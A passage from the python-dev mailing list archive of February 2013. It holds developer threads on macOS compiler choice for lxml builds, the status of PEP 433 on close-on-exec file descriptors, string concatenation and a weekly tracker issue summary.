> which then require to shrink the buffer (shrinking may copy the whole
> string). The overallocation factor may be adapted depending on the
> size.

How about testing on Windows?

> If computing the final length is cheap (eg. if it's always the same),
> it's always faster to use UnicodeWriter with a preallocated buffer.

That's not a particularly surprising discovery, is it? ;-)

Regards

Antoine.

From solipsis at pitrou.net  Thu Feb 14 10:15:12 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 14 Feb 2013 10:15:12 +0100
Subject: [Python-Dev] Marking GC details as CPython-only
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
	<20130213202540.4e987e17@pitrou.net> <kfgub9$v7h$1@ger.gmane.org>
Message-ID: <20130214101512.0e984435@pitrou.net>

Le Wed, 13 Feb 2013 20:50:51 +0000,
Richard Oudkerk <shibturn at gmail.com> a ?crit :
> On 13/02/2013 7:25pm, Antoine Pitrou wrote:
> > I think resurrecting objects from __del__ is crazy, so IMO what you
> > suggest is fine.
> 
> You mean like subprocess.Popen.__del__?  I quite agree.

Ouch. I didn't know about that.

Regards

Antoine.



From chris at simplistix.co.uk  Thu Feb 14 10:18:46 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Thu, 14 Feb 2013 09:18:46 +0000
Subject: [Python-Dev] build from source on mac uses clang,
	python.org binary uses gcc
Message-ID: <511CABF6.8020808@simplistix.co.uk>

Hi All,

I've run into "some issues" installing lxml for python 3.3 on my mac:


One of the stumbling blocks I've hit is that I built python 3.3 from 
source (./configure && make && make altinstall), and it used clang:

buzzkill:virtualenvs chris$ /src/Python-3.3.0/python.exe
Python 3.3.0 (default, Jan 23 2013, 09:56:03)
[GCC 4.2.1 Compatible Apple Clang 3.0 (tags/Apple/clang-211.12)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
 >>>

...which makes lxml pretty unhappy.

However, when I install the binary Python 3.3 from python.org, it's 
built with GCC:

buzzkill:virtualenvs chris$ python3.3
Python 3.3.0 (v3.3.0:bd8afb90ebf2, Sep 29 2012, 01:25:11)
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
 >>>

Why the difference?

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From chris at python.org  Thu Feb 14 10:20:56 2013
From: chris at python.org (Chris Withers)
Date: Thu, 14 Feb 2013 09:20:56 +0000
Subject: [Python-Dev] build from source on mac uses clang,
 python.org binary uses gcc (missing links)
In-Reply-To: <511CABF6.8020808@simplistix.co.uk>
References: <511CABF6.8020808@simplistix.co.uk>
Message-ID: <511CAC78.1040205@python.org>

On 14/02/2013 09:18, Chris Withers wrote:
> Hi All,
>
> I've run into "some issues" installing lxml for python 3.3 on my mac:

(forgot the links)

https://mailman-mail5.webfaction.com/pipermail/lxml/2013-February/006730.html
https://mailman-mail5.webfaction.com/pipermail/lxml/2013-February/006731.html

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From arigo at tunes.org  Thu Feb 14 12:08:34 2013
From: arigo at tunes.org (Armin Rigo)
Date: Thu, 14 Feb 2013 12:08:34 +0100
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <511C02F2.2040709@canterbury.ac.nz>
References: <511AD5E1.1060209@stackless.com> <511B82B2.2000505@pearwood.info>
	<511C02F2.2040709@canterbury.ac.nz>
Message-ID: <CAMSv6X2usuTDN+2zASFBtpj8xD7QRO_GysSHekgmTLmb-NBQQg@mail.gmail.com>

Hi Greg,

On Wed, Feb 13, 2013 at 10:17 PM, Greg Ewing
<greg.ewing at canterbury.ac.nz> wrote:
> If it's that unreliable, why was it ever implemented
> in the first place?

I was young and loved hacks and python-dev felt that it was a good
idea at the time
(http://mail.python.org/pipermail/python-dev/2004-August/046686.html).


A bient?t,

Armin.

From ronaldoussoren at mac.com  Thu Feb 14 13:15:55 2013
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Thu, 14 Feb 2013 13:15:55 +0100
Subject: [Python-Dev] build from source on mac uses clang,
	python.org binary uses gcc
In-Reply-To: <511CABF6.8020808@simplistix.co.uk>
References: <511CABF6.8020808@simplistix.co.uk>
Message-ID: <572C235C-CFA3-47F6-A6F3-0F623E64D389@mac.com>


On 14 Feb, 2013, at 10:18, Chris Withers <chris at simplistix.co.uk> wrote:

> Hi All,
> 
> I've run into "some issues" installing lxml for python 3.3 on my mac:
> 
> 
> One of the stumbling blocks I've hit is that I built python 3.3 from source (./configure && make && make altinstall), and it used clang:
> 
> buzzkill:virtualenvs chris$ /src/Python-3.3.0/python.exe
> Python 3.3.0 (default, Jan 23 2013, 09:56:03)
> [GCC 4.2.1 Compatible Apple Clang 3.0 (tags/Apple/clang-211.12)] on darwin
> Type "help", "copyright", "credits" or "license" for more information.
> >>>
> 
> ...which makes lxml pretty unhappy.

Why is that? Clang is a working C and C++ compiler. I've noticed in the past that lxml's automatic compilation
of libxml2 and libxslt is dodgy on OSX, but haven't had time yet to work on a patch that calculates the right
compiler flags instead of hardcoding some guesses in setup.py.  Also, libxml2 won't compile on OSX 10.8 at all
unless you use the version in the repository (an incompatibility with the pthread headers on 10.8).

You get clang instead of GCC when configure detects that clang is the only usable compiler on OSX,
where usable means that the compiler is present and is not llvm-gcc. Llvm-gcc contains bugs that
miscompile at least parts of the unicode implementation in CPython 3.3 and word on the street is that
these bugs won't get fixed unless they are also present in clang.

> 
> However, when I install the binary Python 3.3 from python.org, it's built with GCC:
> 
> buzzkill:virtualenvs chris$ python3.3
> Python 3.3.0 (v3.3.0:bd8afb90ebf2, Sep 29 2012, 01:25:11)
> [GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
> Type "help", "copyright", "credits" or "license" for more information.
> >>>
> 
> Why the difference?

The binary was created on an older release of OSX where gcc is a valid compiler choice. Distutils
should still pick clang when it detects that gcc is actually llvm-gcc though, doesn't it do that on your system?

BTW. Which OSX release are you using? And which variant of the OSX installer?

Ronald

P.S. Isn't this a question for python-list?

> 
> cheers,
> 
> Chris
> 
> -- 
> Simplistix - Content Management, Batch Processing & Python Consulting
>            - http://www.simplistix.co.uk
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/ronaldoussoren%40mac.com


From victor.stinner at gmail.com  Thu Feb 14 14:12:39 2013
From: victor.stinner at gmail.com (Victor Stinner)
Date: Thu, 14 Feb 2013 14:12:39 +0100
Subject: [Python-Dev] Status of the PEP 433?
Message-ID: <CAMpsgwZ=kVT6gw_9oStWdUzuor+8B3YTQGhxkeRnv82RqdxihA@mail.gmail.com>

Hi,

I read again all emails related to PEP 433. There are different
opposition to this change and I tried to make a summary.

My question is: how can I move this PEP forward (accept, defer or
reject it)? Can I accept it myself, or do we need a global agreement,
or should someone else decide for this PEP (who? Antoine maybe)?

--

Most complains concern issues if cloexec is set by default. I don't
understand why so many people feel concerned because my PEP proposes
*to not change anything to the default behaviour*: cloexec will not be
set by default, as it was always the case since Python 1.

You have to explicitly use -e command line option, PYTHONCLOEXEC=1
environment variable, or call sys.setdefaultcloexec(True). If you
*explicitly* change the default value of the cloexec parameter, you
must expect to change the behaviour of your application and maybe
discover "bugs" in your application (application incompatible with
cloexec set by default).

(I don't think that any library would like to play with
sys.setdefaultcloexec(), since most developers agree that it might
break applications.)

--

Ok, let's see all oppositions, presented as a FAQ.
(I hope that I didn't misuse email quotes.)

Q: the PEP does not solve file descriptor inherance after fork()
A: Correct, it only solves issues with exec(), as explained in the PEP.

Q: the PEP changes the POSIX behaviour.
A: Antoine replied that "Python is not POSIX", Nick wrote "While many
of Python's APIs are heavily inspired by POSIX, it still isn't POSIX"
(he was talking about integer division). Perl sets cloexec flag by
default since its first version, something like 25 years ago, except
for explicit POSIX::* calls. Ruby 2 will also set cloexec flag by
default.

Q: The PEP may break applications.
A: Most developers agree that it is (very) unlikely. If file
descriptor inherance matters, subprocess must be used (because it
rocks!) with pass_fds. If subprocess is used without pass_fds,
applications stops working since python 3.2 (since python 3.0 on
Windows). pass_fds will clear the close-on-exec flag on the file
descriptors with the PEP. If an application breaks because it relies
on file descriptor inherance, it's easy to detect it (EBADF error) and
simple to fix it (ex: just call sys.setdefaultcloexec(False) at
startup, or set explicitly cloexec parameter on the few functions
causing trouble).

Q: Performance overhead if cloexec is set by default (extra syscalls).
A: The PEP now contains a benchmark: the overhead *on a
microbenchmark* is between 1 and 3%. I bet that nobody will be able to
notice a difference on a real application.

Q: The default value of cloexec must not be configurable: "libraries
cannot rely on it and have to make file descriptors cloexec on an
individual basis, since the default flag can be disabled".
A: IMO inherance of file descriptor doesn't matter in most cases, so
only a few function must be modified to explicitly set or clear
cloexec flag. Said differently: libraries should not care of the
default value of the cloexec parameter, which should only be
configured by applications (not libraries).

Q: The default value of cloexec must not be configurable: "just by
looking at this code, you have no way to know whether the file
descriptor will be inherited by the child process."
A: Guido wrote "Honestly, what happened to the idea that we're all
adults here? The likelihood that someone is clueless enough to misuse
the flag and yet clueful enough to find out how to change it seems
remote -- and they pretty much deserve what they get."

--

Another alternative (not listed in the PEP yet) is to leave the posix
module (its name depends on the platform: posix, nt or ce) unchanged,
and only modify the os module to add cloexec parameter.

I implemented this alternative in the "posixmod" branch of the PEP 433
repository. It gives a better traceback on error because the cloexec
flag is set in Python, so it's possible to know if the error comes
from the creation of the file descriptor or setting the flag in the
traceback. (Does it really matter? I never seen an error on setting or
clearing the flag.)

The problem is that it only concernes posix and os modules: the PEP
does also modify socket, io and select modules, which don't have "low"
and "high" level modules. So it's possible possible to create a socket
using the POSIX behaviour. (Does it matter, it was said that Python is
not POSIX.)

I'm not convinced that we should do something special for posix/os, I
prefer the actual version of the PEP (modify also posix).

Victor

From just_another_developer at yahoo.de  Thu Feb 14 19:25:43 2013
From: just_another_developer at yahoo.de (Developer Developer)
Date: Thu, 14 Feb 2013 18:25:43 +0000 (GMT)
Subject: [Python-Dev] Question regarding: Lib/_markupbase.py
In-Reply-To: <20130212112228.6eb5f0eb@pitrou.net>
References: <1360585008.27100.YahooMailNeo@web171404.mail.ir2.yahoo.com>
	<20130211123735.GA28063@iskra.aviel.ru>
	<CAP7+vJL5d8OCiAJ2W6-_9=wvyhwgyd4-JZ+biSL0mzkgOQfvSA@mail.gmail.com>
	<20130212112228.6eb5f0eb@pitrou.net>
Message-ID: <1360866343.54571.YahooMailNeo@web171404.mail.ir2.yahoo.com>

Sorry, I just thought that:

if '>' in rawdata[j:]

would do a search, that is, that the implementation of "in" would just reuse/call the implementation of "find" and that the position returned would be used as:
-1: not in
!= -1: in
which seemed to me like the easy implementation of "in". That's why I was wondering why to search twice.


Now I realize that it doesn't work the way I thought. Thank you for showing me and sorry for the confusion.

Best regards,
Guido (another Guido ;-) )



----- Urspr?ngliche Message -----
Von: Antoine Pitrou <solipsis at pitrou.net>
An: python-dev at python.org
CC: 
Gesendet: 11:22 Dienstag, 12.Februar 2013
Betreff: Re: [Python-Dev] Question regarding: Lib/_markupbase.py

Le Mon, 11 Feb 2013 11:02:04 -0800,
Guido van Rossum <guido at python.org> a ?crit :
> Warning: see http://bugs.python.org/issue17170. Depending on the
> length of the string being scanned and the probability of finding the
> specific character, the proposed change could actually be a
> *pessimization*. OTOH if the character occurs many times, the slice
> will actually cause O(N**2) behavior. So yes, it depends greatly on
> the distribution of the input data.

That said, the savings are still puny unless you spend your time
calling str.find().

Regards

Antoine.


_______________________________________________
Python-Dev mailing list
Python-Dev at python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: http://mail.python.org/mailman/options/python-dev/just_another_developer%40yahoo.de


From ralf at systemexit.de  Thu Feb 14 20:05:49 2013
From: ralf at systemexit.de (Ralf Schmitt)
Date: Thu, 14 Feb 2013 20:05:49 +0100
Subject: [Python-Dev] Status of the PEP 433?
In-Reply-To: <CAMpsgwZ=kVT6gw_9oStWdUzuor+8B3YTQGhxkeRnv82RqdxihA@mail.gmail.com>
	(Victor Stinner's message of "Thu, 14 Feb 2013 14:12:39 +0100")
References: <CAMpsgwZ=kVT6gw_9oStWdUzuor+8B3YTQGhxkeRnv82RqdxihA@mail.gmail.com>
Message-ID: <87vc9uhg1e.fsf@myhost.lan>

Victor Stinner <victor.stinner at gmail.com> writes:


>
> Q: The PEP may break applications.
> A: Most developers agree that it is (very) unlikely. If file
> descriptor inherance matters, subprocess must be used (because it
> rocks!) with pass_fds. 

But that doesn't cover the case for programs that don't fork and really
just want to exec another program. when using subprocess, you'll always
have two processes running.

> If subprocess is used without pass_fds,
> applications stops working since python 3.2 (since python 3.0 on
> Windows). pass_fds will clear the close-on-exec flag on the file
> descriptors with the PEP. If an application breaks because it relies
> on file descriptor inherance, it's easy to detect it (EBADF error) and

the application may open other files/sockets and the unused file
descriptor would be reused. there's no EBADF in that case.

From chris at simplistix.co.uk  Thu Feb 14 20:03:39 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Thu, 14 Feb 2013 19:03:39 +0000
Subject: [Python-Dev] build from source on mac uses clang,
 python.org binary uses gcc
In-Reply-To: <572C235C-CFA3-47F6-A6F3-0F623E64D389@mac.com>
References: <511CABF6.8020808@simplistix.co.uk>
	<572C235C-CFA3-47F6-A6F3-0F623E64D389@mac.com>
Message-ID: <511D350B.1080502@simplistix.co.uk>

On 14/02/2013 12:15, Ronald Oussoren wrote:
>
>> buzzkill:virtualenvs chris$ /src/Python-3.3.0/python.exe
>> Python 3.3.0 (default, Jan 23 2013, 09:56:03)
>> [GCC 4.2.1 Compatible Apple Clang 3.0 (tags/Apple/clang-211.12)] on darwin
>> Type "help", "copyright", "credits" or "license" for more information.
>>>>>
>>
>> ...which makes lxml pretty unhappy.
>
> Why is that?

I'm not lxml's maintainer, I'd suggest asking Stefan...

> The binary was created on an older release of OSX where gcc is a valid compiler choice. Distutils
> should still pick clang when it detects that gcc is actually llvm-gcc though, doesn't it do that on your system?

No. The gcc-based Python 3.3.0 from python.org uses gcc to compile lxml.

> BTW. Which OSX release are you using? And which variant of the OSX installer?

10.7.5. If by "OSX Installer" you mean that for Python 3.3.0, then it 
was the 64-bit one from python.org.

> P.S. Isn't this a question for python-list?

I think questions about compiling python and how python chooses to 
compile its extensions, and weird things on particular operating systems 
related to that, are fair game for python-dev.

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From nad at acm.org  Thu Feb 14 22:33:35 2013
From: nad at acm.org (Ned Deily)
Date: Thu, 14 Feb 2013 13:33:35 -0800
Subject: [Python-Dev] build from source on mac uses clang,
	python.org binary uses gcc
References: <511CABF6.8020808@simplistix.co.uk>
	<572C235C-CFA3-47F6-A6F3-0F623E64D389@mac.com>
	<511D350B.1080502@simplistix.co.uk>
Message-ID: <nad-0CAA43.13333514022013@news.gmane.org>

In article <511D350B.1080502 at simplistix.co.uk>,
 Chris Withers <chris at simplistix.co.uk> wrote:

> On 14/02/2013 12:15, Ronald Oussoren wrote:
> >
> >> buzzkill:virtualenvs chris$ /src/Python-3.3.0/python.exe
> >> Python 3.3.0 (default, Jan 23 2013, 09:56:03)
> >> [GCC 4.2.1 Compatible Apple Clang 3.0 (tags/Apple/clang-211.12)] on darwin
> >> Type "help", "copyright", "credits" or "license" for more information.
> >>>>>
> >>
> >> ...which makes lxml pretty unhappy.
> >
> > Why is that?
> 
> I'm not lxml's maintainer, I'd suggest asking Stefan...
> 
> > The binary was created on an older release of OSX where gcc is a valid 
> > compiler choice. Distutils
> > should still pick clang when it detects that gcc is actually llvm-gcc 
> > though, doesn't it do that on your system?
> 
> No. The gcc-based Python 3.3.0 from python.org uses gcc to compile lxml.

Hmm, that's odd.  It should be using clang unless on 10.7 with a current 
Xcode 4 installed unless something is overriding the compiler selection, 
e.g. setting CC=clang.  (Also, I note you appear to be using an 
out-of-date clang;  Xcode 4.6 and its Command Line Tools are current:
  $ clang --version
  Apple LLVM version 4.2 (clang-425.0.24) (based on LLVM 3.2svn
Because of the relative newness of clang in the OS X world, it's 
important to keep up-to-date.)

But, installing  lxml 3.1.0 (from the tarball you cite) with the Python 
3.3.0 64-bit/32-b it install seems to work fine for me.  At least, it 
didn't get any import errors.

Looking at your traceback (from 
https://mailman-mail5.webfaction.com/pipermail/lxml/2013-February/006730.
html) appears to show that the lxml is picking up libxml2 and libxslt 
from /Library/Frameworks/Python.framework/Versions/7.2/lib
and or /Library/Frameworks/Python.framework/Versions/7.2/lib.  That 
almost certainly is the root of your problems.  I'm not sure what those 
are but possibly EPD Python distributions.  Your 3.3 builds should not 
be trying to used them to satisfy libraries.  Perhaps there are links in 
/usr/local/*.   Removing those links or files in /usr/local should allow 
you to build lxml with the Apple-supplied libxml2 and libxslt.  If you 
want newer versions or the libs, either build them for 64-/32-bit archs 
or use a third-party package manager like Homebrew or MacPorts to supply 
them (and/or supply a Python 3.3).

-- 
 Ned Deily,
 nad at acm.org


From ronaldoussoren at mac.com  Fri Feb 15 07:45:44 2013
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Fri, 15 Feb 2013 07:45:44 +0100
Subject: [Python-Dev] build from source on mac uses clang,
	python.org binary uses gcc
In-Reply-To: <511D350B.1080502@simplistix.co.uk>
References: <511CABF6.8020808@simplistix.co.uk>
	<572C235C-CFA3-47F6-A6F3-0F623E64D389@mac.com>
	<511D350B.1080502@simplistix.co.uk>
Message-ID: <768265C0-CDFF-4956-8416-76C83DA132C2@mac.com>


On 14 Feb, 2013, at 20:03, Chris Withers <chris at simplistix.co.uk> wrote:

> On 14/02/2013 12:15, Ronald Oussoren wrote:
>> 
>>> buzzkill:virtualenvs chris$ /src/Python-3.3.0/python.exe
>>> Python 3.3.0 (default, Jan 23 2013, 09:56:03)
>>> [GCC 4.2.1 Compatible Apple Clang 3.0 (tags/Apple/clang-211.12)] on darwin
>>> Type "help", "copyright", "credits" or "license" for more information.
>>>>>> 
>>> 
>>> ...which makes lxml pretty unhappy.
>> 
>> Why is that?
> 
> I'm not lxml's maintainer, I'd suggest asking Stefan...

I should have been more clear: what error does lxml give when compiling?

Ronald

From drekin at gmail.com  Fri Feb 15 17:41:23 2013
From: drekin at gmail.com (Draic Kin)
Date: Fri, 15 Feb 2013 17:41:23 +0100
Subject: [Python-Dev] PYTHONSTARTUP and -i
In-Reply-To: <CACvLUakxB6i0GTZe+GOrCjOqzGWFvNLShbzLyZTT2Guj1HYuiQ@mail.gmail.com>
References: <CACvLUakxB6i0GTZe+GOrCjOqzGWFvNLShbzLyZTT2Guj1HYuiQ@mail.gmail.com>
Message-ID: <CACvLUa=LQ8_Ayfjv423GuP69ttpJnCxQZ6ERajJkEbiVqr5W1A@mail.gmail.com>

Hello.
Python doc says that the PYTHONSTARTUP file is not read when a script is
run with the -i option. Is there a reason for this? Is there a way to get
the functionality i.e. to be able to run specified Python file just before
the first prompt of interactive interpreter?

Use case: I want to run my own repl on Windows, because there's a problem
with unicode IO in the console. See http://bugs.python.org/issue1602 .

Regards, Drekin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130215/ea8b254a/attachment.html>

From status at bugs.python.org  Fri Feb 15 18:07:24 2013
From: status at bugs.python.org (Python tracker)
Date: Fri, 15 Feb 2013 18:07:24 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20130215170724.1A891568E3@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (2013-02-08 - 2013-02-15)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue.
Do NOT respond to this message.

Issues counts and deltas:
  open    3845 ( -2)
  closed 25141 (+53)
  total  28986 (+51)

Open issues with patches: 1664 


Issues opened (38)
==================

#6083: Reference counting bug in PyArg_ParseTuple and PyArg_ParseTupl
http://bugs.python.org/issue6083  reopened by serhiy.storchaka

#17162: Py_LIMITED_API needs a PyType_GenericDealloc
http://bugs.python.org/issue17162  opened by bfroehle

#17163: Fix test discovery for test_file.py
http://bugs.python.org/issue17163  opened by zach.ware

#17164: MozillaCookieJar does not handle session cookies
http://bugs.python.org/issue17164  opened by piotr.dobrogost

#17167: python man page contains $Date$ in page footer
http://bugs.python.org/issue17167  opened by ned.deily

#17170: string method lookup is too slow
http://bugs.python.org/issue17170  opened by gvanrossum

#17172: Add turtledemo to IDLE menu
http://bugs.python.org/issue17172  opened by rhettinger

#17174: Posix os.path.join should raise TypeError when passed unusable
http://bugs.python.org/issue17174  opened by thomas.scrace

#17175: update PEP 430
http://bugs.python.org/issue17175  opened by tshepang

#17176: Document imp.NullImporter is NOT used anymore by import
http://bugs.python.org/issue17176  opened by brett.cannon

#17177: Document/deprecate imp
http://bugs.python.org/issue17177  opened by brett.cannon

#17178: In all.__doc__ and any.__doc__ need to clarify the behaviour w
http://bugs.python.org/issue17178  opened by py.user

#17179: Incorrect use of type function in types.new_class
http://bugs.python.org/issue17179  opened by cjw296

#17180: shutil copy* unsafe on POSIX - they preserve setuid/setgit bit
http://bugs.python.org/issue17180  opened by milko.krachounov

#17181: SSLContext.set_servername_callback should be able to set	argum
http://bugs.python.org/issue17181  opened by grooverdan

#17182: signal.default_int_handler should set signal number on the rai
http://bugs.python.org/issue17182  opened by pitrou

#17183: Small enhancements to Lib/_markupbase.py
http://bugs.python.org/issue17183  opened by guido.reina

#17184: re.VERBOSE doesn't respect whitespace in '( ?P<foo>...)'
http://bugs.python.org/issue17184  opened by roysmith

#17185: create_autospec
http://bugs.python.org/issue17185  opened by cjw296

#17186: no way to introspect registered atexit handlers
http://bugs.python.org/issue17186  opened by cjw296

#17187: Python segfaults from improperly formed and called function
http://bugs.python.org/issue17187  opened by larry

#17188: Document 'from None' in raise statement doc.
http://bugs.python.org/issue17188  opened by terry.reedy

#17189: Add zip64 support to shutil
http://bugs.python.org/issue17189  opened by william.mallard

#17191: pdb list shows unexpected code when stack frame includes a try
http://bugs.python.org/issue17191  opened by AbramClark

#17192: libffi-3.0.12 import
http://bugs.python.org/issue17192  opened by doko

#17193: Use binary prefixes
http://bugs.python.org/issue17193  opened by serhiy.storchaka

#17197: c/profile refactoring
http://bugs.python.org/issue17197  opened by giampaolo.rodola

#17198: dbm.whichdb references unitialized 'ndbm' variable
http://bugs.python.org/issue17198  opened by pjenvey

#17200: telnetlib.read_until() timeout uses the wrong units
http://bugs.python.org/issue17200  opened by Reuben.D'Netto

#17201: Use allowZip64=True by default
http://bugs.python.org/issue17201  opened by serhiy.storchaka

#17202: Add .bat line to .hgeol
http://bugs.python.org/issue17202  opened by zach.ware

#17203: add long option names to unittest discovery docs
http://bugs.python.org/issue17203  opened by chris.jerdonek

#17204: argparser's subparsers.add_parser() should accept an ArgumentP
http://bugs.python.org/issue17204  opened by chris.jerdonek

#17206: Py_XDECREF() expands its argument multiple times
http://bugs.python.org/issue17206  opened by dmalcolm

#17208: add note/warning about daemon threads
http://bugs.python.org/issue17208  opened by pitrou

#17209: get_wch() doesn't handle KeyboardInterrupt
http://bugs.python.org/issue17209  opened by raymontag

#17210: documentation of PyUnicode_Format() states wrong argument type
http://bugs.python.org/issue17210  opened by scoder

#17211: pkgutil.iter_modules and walk_packages should return a namedtu
http://bugs.python.org/issue17211  opened by Ramchandra.Apte



Most recent 15 issues with no replies (15)
==========================================

#17211: pkgutil.iter_modules and walk_packages should return a namedtu
http://bugs.python.org/issue17211

#17210: documentation of PyUnicode_Format() states wrong argument type
http://bugs.python.org/issue17210

#17209: get_wch() doesn't handle KeyboardInterrupt
http://bugs.python.org/issue17209

#17204: argparser's subparsers.add_parser() should accept an ArgumentP
http://bugs.python.org/issue17204

#17203: add long option names to unittest discovery docs
http://bugs.python.org/issue17203

#17202: Add .bat line to .hgeol
http://bugs.python.org/issue17202

#17191: pdb list shows unexpected code when stack frame includes a try
http://bugs.python.org/issue17191

#17188: Document 'from None' in raise statement doc.
http://bugs.python.org/issue17188

#17186: no way to introspect registered atexit handlers
http://bugs.python.org/issue17186

#17185: create_autospec
http://bugs.python.org/issue17185

#17182: signal.default_int_handler should set signal number on the rai
http://bugs.python.org/issue17182

#17178: In all.__doc__ and any.__doc__ need to clarify the behaviour w
http://bugs.python.org/issue17178

#17177: Document/deprecate imp
http://bugs.python.org/issue17177

#17176: Document imp.NullImporter is NOT used anymore by import
http://bugs.python.org/issue17176

#17175: update PEP 430
http://bugs.python.org/issue17175



Most recent 15 issues waiting for review (15)
=============================================

#17202: Add .bat line to .hgeol
http://bugs.python.org/issue17202

#17201: Use allowZip64=True by default
http://bugs.python.org/issue17201

#17200: telnetlib.read_until() timeout uses the wrong units
http://bugs.python.org/issue17200

#17193: Use binary prefixes
http://bugs.python.org/issue17193

#17189: Add zip64 support to shutil
http://bugs.python.org/issue17189

#17187: Python segfaults from improperly formed and called function
http://bugs.python.org/issue17187

#17180: shutil copy* unsafe on POSIX - they preserve setuid/setgit bit
http://bugs.python.org/issue17180

#17175: update PEP 430
http://bugs.python.org/issue17175

#17172: Add turtledemo to IDLE menu
http://bugs.python.org/issue17172

#17170: string method lookup is too slow
http://bugs.python.org/issue17170

#17163: Fix test discovery for test_file.py
http://bugs.python.org/issue17163

#17159: Remove explicit type check from inspect.Signature.from_functio
http://bugs.python.org/issue17159

#17148: mingw: nt thread model detection
http://bugs.python.org/issue17148

#17145: memoryview(array.array)
http://bugs.python.org/issue17145

#17143: trace.py uses _warn without importing it
http://bugs.python.org/issue17143



Top 10 most discussed issues (10)
=================================

#16997: subtests
http://bugs.python.org/issue16997  20 msgs

#17170: string method lookup is too slow
http://bugs.python.org/issue17170  18 msgs

#16278: os.rename documentation slightly inaccurate
http://bugs.python.org/issue16278  11 msgs

#17130: Add runcall() function to profile.py and cProfile.py
http://bugs.python.org/issue17130   9 msgs

#17180: shutil copy* unsafe on POSIX - they preserve setuid/setgit bit
http://bugs.python.org/issue17180   9 msgs

#16612: Integrate "Argument Clinic" specialized preprocessor into CPyt
http://bugs.python.org/issue16612   8 msgs

#17159: Remove explicit type check from inspect.Signature.from_functio
http://bugs.python.org/issue17159   8 msgs

#17193: Use binary prefixes
http://bugs.python.org/issue17193   8 msgs

#17189: Add zip64 support to shutil
http://bugs.python.org/issue17189   7 msgs

#17200: telnetlib.read_until() timeout uses the wrong units
http://bugs.python.org/issue17200   7 msgs



Issues closed (52)
==================

#4591: 32-bits unsigned user/group identifier
http://bugs.python.org/issue4591  closed by serhiy.storchaka

#5308: cannot marshal objects with more than 2**31 elements
http://bugs.python.org/issue5308  closed by serhiy.storchaka

#6426: imaplib.IMAP4 "command illegal in this state" is unhelpful err
http://bugs.python.org/issue6426  closed by r.david.murray

#6975: symlinks incorrectly resolved on POSIX platforms
http://bugs.python.org/issue6975  closed by serhiy.storchaka

#7145: UTF-16 BOM is not written by socket.makefile (but is expected 
http://bugs.python.org/issue7145  closed by serhiy.storchaka

#7358: cStringIO not 64-bit safe
http://bugs.python.org/issue7358  closed by serhiy.storchaka

#7365: grp and pwd should treat uid and gid as unsigned
http://bugs.python.org/issue7365  closed by serhiy.storchaka

#9067: Use macros from pyctype.h
http://bugs.python.org/issue9067  closed by skrah

#9874: Message.attach() loses empty attachments
http://bugs.python.org/issue9874  closed by r.david.murray

#10355: SpooledTemporaryFile's name property is broken
http://bugs.python.org/issue10355  closed by serhiy.storchaka

#11311: StringIO.readline(0) returns incorrect results
http://bugs.python.org/issue11311  closed by serhiy.storchaka

#11397: os.path.realpath() may produce incorrect results
http://bugs.python.org/issue11397  closed by serhiy.storchaka

#11649: startElementNS in xml.sax.saxutils.XMLGenerator ignored encodi
http://bugs.python.org/issue11649  closed by serhiy.storchaka

#11837: smtplib._quote_periods triggers spurious type error in re.sub
http://bugs.python.org/issue11837  closed by serhiy.storchaka

#12983: byte string literals with invalid hex escape codes raise Value
http://bugs.python.org/issue12983  closed by serhiy.storchaka

#13555: cPickle MemoryError when loading large file (while pickle work
http://bugs.python.org/issue13555  closed by serhiy.storchaka

#13773: Support sqlite3 uri filenames
http://bugs.python.org/issue13773  closed by pitrou

#15220: Reduce parsing overhead in email.feedparser.BufferedSubFile
http://bugs.python.org/issue15220  closed by r.david.murray

#16564: email.generator.BytesGenerator fails with bytes payload
http://bugs.python.org/issue16564  closed by r.david.murray

#16686: audioop overflow issues
http://bugs.python.org/issue16686  closed by serhiy.storchaka

#16743: mmap on Windows can mishandle files larger than sys.maxsize
http://bugs.python.org/issue16743  closed by sbt

#16800: tempfile._get_default_tempdir() leaves files behind when HD is
http://bugs.python.org/issue16800  closed by serhiy.storchaka

#16967: Keyword only argument default values are evaluated before othe
http://bugs.python.org/issue16967  closed by python-dev

#16996: Reuse shutil.which() in webbrowser module
http://bugs.python.org/issue16996  closed by serhiy.storchaka

#17043: Invalid read in test_codecs
http://bugs.python.org/issue17043  closed by serhiy.storchaka

#17052: unittest discovery should use self.testLoader
http://bugs.python.org/issue17052  closed by python-dev

#17064: Fix sporadic buildbot failures for test_mailbox
http://bugs.python.org/issue17064  closed by r.david.murray

#17089: Expat parser parses strings only when XML encoding is UTF-8
http://bugs.python.org/issue17089  closed by serhiy.storchaka

#17111: test_surrogates of test_fileio fails sometimes on OS X 10.4
http://bugs.python.org/issue17111  closed by ned.deily

#17141: random.vonmisesvariate() hangs for large kappa
http://bugs.python.org/issue17141  closed by serhiy.storchaka

#17147: BytesIO should be mentioned in SpooledTemporaryFile documentat
http://bugs.python.org/issue17147  closed by serhiy.storchaka

#17149: random.vonmisesvariate() results range is inconsistent for sma
http://bugs.python.org/issue17149  closed by mark.dickinson

#17152: Array module should support "boolean" natively
http://bugs.python.org/issue17152  closed by jcea

#17155: logging can raise UnicodeEncodeError
